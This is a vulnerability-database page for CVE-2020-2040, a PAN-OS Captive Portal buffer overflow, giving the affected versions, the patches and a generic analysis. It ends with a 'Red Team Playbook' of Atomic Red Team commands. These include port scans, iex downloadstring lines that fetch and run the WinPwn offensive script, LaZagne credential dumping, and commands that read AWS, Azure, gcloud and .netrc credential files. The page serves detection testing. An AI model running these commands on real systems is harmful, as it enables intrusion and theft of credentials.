CVE-2020-2040
Overview
This vulnerability is a buffer overflow caused by improper handling of input data in the Captive Portal and Multi-Factor Authentication interfaces of PAN-OS. The flaw arises from inadequate bounds checking when processing specially crafted requests, leading to memory corruption. The affected component is the PAN-OS authentication subsystem responsible for managing user access through these interfaces.
Vulnerability Description
A buffer overflow vulnerability in PAN-OS allows an unauthenticated attacker to disrupt system processes and potentially execute arbitrary code with root privileges by sending a malicious request to the Captive Portal or Multi-Factor Authentication interface. This issue impacts: All versions of PAN-OS 8.0; PAN-OS 8.1 versions earlier than PAN-OS 8.1.15; PAN-OS 9.0 versions earlier than PAN-OS 9.0.9; PAN-OS 9.1 versions earlier than PAN-OS 9.1.3.
Impact
An attacker with network access can exploit this vulnerability without authentication or user interaction to execute arbitrary code with root privileges on the affected system. This can result in complete system compromise, including disruption of system processes and potential unauthorized control over network security functions. The CVSS vector (AV:N/AC:L/PR:N/UI:N) confirms remote, unauthenticated exploitation with high impact on confidentiality, integrity, and availability.
Solution
Palo Alto Networks has released patched versions addressing this vulnerability: PAN-OS 8.1.15, 9.0.9, and 9.1.3 or later. Users should upgrade affected PAN-OS deployments to these fixed versions as detailed in the vendor advisory at https://security.paloaltonetworks.com/CVE-2020-2040. No specific workarounds are recommended; timely application of these patches is the primary remediation measure.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in PAN-OS is characterized by a buffer overflow, a critical flaw that allows an unauthenticated attacker to disrupt system processes and potentially execute arbitrary code with root privileges. This weakness arises from improper handling of input data within the Captive Portal and Multi-Factor Authentication interfaces. When an attacker sends a specially crafted request, the system fails to adequately validate the input, leading to an overflow condition. This can overwrite adjacent memory, which may allow the attacker to manipulate the execution flow of the application, ultimately granting them elevated privileges. The severity of this vulnerability is underscored by its high CVSS score of 9.8, indicating a significant risk to the integrity and availability of the affected systems.
Exploitation of this vulnerability can occur through various attack vectors. An attacker could leverage the Captive Portal or Multi-Factor Authentication interface, which are often exposed to the internet, making them accessible without prior authentication. By sending a maliciously crafted request, the attacker can trigger the buffer overflow, leading to system instability or unauthorized code execution. Scenarios may include targeted attacks against organizations that rely on PAN-OS for network security, where an attacker could disrupt critical services or deploy malware within the network environment. The potential for remote code execution means that the attacker could gain complete control over the affected device, posing a severe threat to the confidentiality, integrity, and availability of sensitive data.
The real-world impact of this vulnerability is substantial, particularly for organizations that utilize PAN-OS in their network infrastructure. The ability to execute arbitrary code with root privileges could lead to unauthorized access to sensitive information, data breaches, or even complete system compromise. Businesses could face significant operational disruptions, reputational damage, and financial losses resulting from remediation efforts and potential regulatory penalties. Furthermore, the exploitation of this vulnerability could serve as a foothold for further attacks within an organization, allowing attackers to pivot to other systems and escalate their access. The risk is particularly pronounced for industries that handle sensitive data, such as finance, healthcare, and government sectors.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regularly updating PAN-OS to the latest versions is crucial, as the vendor has released patches that address this specific issue. Organizations should also conduct routine vulnerability assessments and penetration testing to identify and remediate any potential weaknesses in their systems. Intrusion detection systems (IDS) can be configured to monitor for unusual traffic patterns or attempts to exploit the Captive Portal and Multi-Factor Authentication interfaces. Additionally, employing network segmentation can limit the exposure of critical systems to potential attackers, reducing the likelihood of successful exploitation.
In conclusion, the buffer overflow vulnerability in PAN-OS represents a significant threat to organizations relying on this platform for network security. The potential for remote code execution and system disruption necessitates immediate attention from cybersecurity professionals. By understanding the technical details, attack vectors, and real-world implications, organizations can better prepare themselves to detect and mitigate this vulnerability, ultimately safeguarding their networks against potential exploitation.
Affected Products (4)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
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Paloaltonetworks | Pan-Os | All |
cpe:2.3:o:paloaltonetworks:pan-os:*:*:*:*:*:*:*:*
|
|
|
Paloaltonetworks | Pan-Os | All |
cpe:2.3:o:paloaltonetworks:pan-os:*:*:*:*:*:*:*:*
|
|
|
Paloaltonetworks | Pan-Os | All |
cpe:2.3:o:paloaltonetworks:pan-os:*:*:*:*:*:*:*:*
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|
|
Paloaltonetworks | Pan-Os | All |
cpe:2.3:o:paloaltonetworks:pan-os:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2020-2040 |
| security.paloaltonetworks.com |
GitHub CVE
x_refsource_MISC
|
https://security.paloaltonetworks.com/CVE-2020-2040 |